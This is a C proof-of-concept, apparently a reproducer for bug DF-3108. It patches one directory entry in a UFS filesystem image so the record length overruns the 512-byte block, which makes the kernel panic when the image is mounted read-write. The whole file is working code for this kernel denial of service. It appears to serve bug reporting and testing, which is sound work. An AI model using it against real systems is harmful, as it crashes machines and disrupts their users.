/*
 * patch_one.c — DF-3108: flip one byte of a directory entry so its
 * d_reclen exceeds the remaining DIRBLKSIZ space (0x0204 = 516 > 512),
 * making ufs_lookup's walk flag "mangled entry" -> ufs_dirbad -> panic
 * on a RW mount.
 *
 * Usage: patch_one <image> <dir_ino>
 * Build: cc -O2 -o patch_one patch_one.c
 */
#include <sys/types.h>
#include <sys/param.h>
#include <vfs/ufs/ufs_types.h>
#include <vfs/ufs/fs.h>
#include <vfs/ufs/dinode.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

static void die(const char *m){ perror(m); exit(2); }

static ufs_daddr_t
my_cgstart(const struct fs *fs, int c)
{
	return (ufs_daddr_t)(fs->fs_cgoffset * ((c) & ~fs->fs_cgmask) +
			     ((c) & fs->fs_cgmask) * fs->fs_fpg);
}

int
main(int argc, char **argv)
{
	if (argc != 3) {
		fprintf(stderr, "usage: %s <image> <dir_ino>\n", argv[0]);
		return 1;
	}
	int fd = open(argv[1], O_RDWR);
	if (fd < 0) die("open");
	long ino = atol(argv[2]);

	struct fs sb;
	if (pread(fd, &sb, sizeof(sb), SBOFF) != sizeof(sb)) die("read sb");
	if (sb.fs_magic != FS_MAGIC) { fprintf(stderr, "not FFS\n"); return 2; }

	int cg = ino / sb.fs_ipg;
	ufs_daddr_t cgimin = my_cgstart(&sb, cg) + sb.fs_iblkno;
	long idx = ino % sb.fs_ipg;
	ufs_daddr_t i_frag = cgimin + ((idx / sb.fs_inopb) << sb.fs_fragshift);
	off_t ibyte = (off_t)i_frag * sb.fs_fsize +
	    (idx % sb.fs_inopb) * sizeof(struct ufs1_dinode);
	struct ufs1_dinode di;
	if (pread(fd, &di, sizeof(di), ibyte) != sizeof(di)) die("read inode");
	if (di.di_db[0] <= 0) { fprintf(stderr, "no data block\n"); return 2; }
	off_t d_off = (off_t)di.di_db[0] * sb.fs_fsize;

	/* entry @0: set d_reclen = 516 (0x0204) — exceeds 512-0. */
	uint8_t hdr[8];
	if (pread(fd, hdr, 8, d_off) != 8) die("read dirblock");
	printf("before: ino=%u reclen=%u\n",
	    (unsigned)(hdr[0] | hdr[1]<<8 | hdr[2]<<16 | (uint32_t)hdr[3]<<24),
	    (unsigned)(hdr[4] | hdr[5]<<8));
	hdr[4] = 0x04; hdr[5] = 0x02;
	if (pwrite(fd, hdr, 8, d_off) != 8) die("write dirblock");
	printf("after:  reclen=%u -> mangled (>512 at offset 0)\n",
	    (unsigned)(hdr[4] | hdr[5]<<8));
	return 0;
}
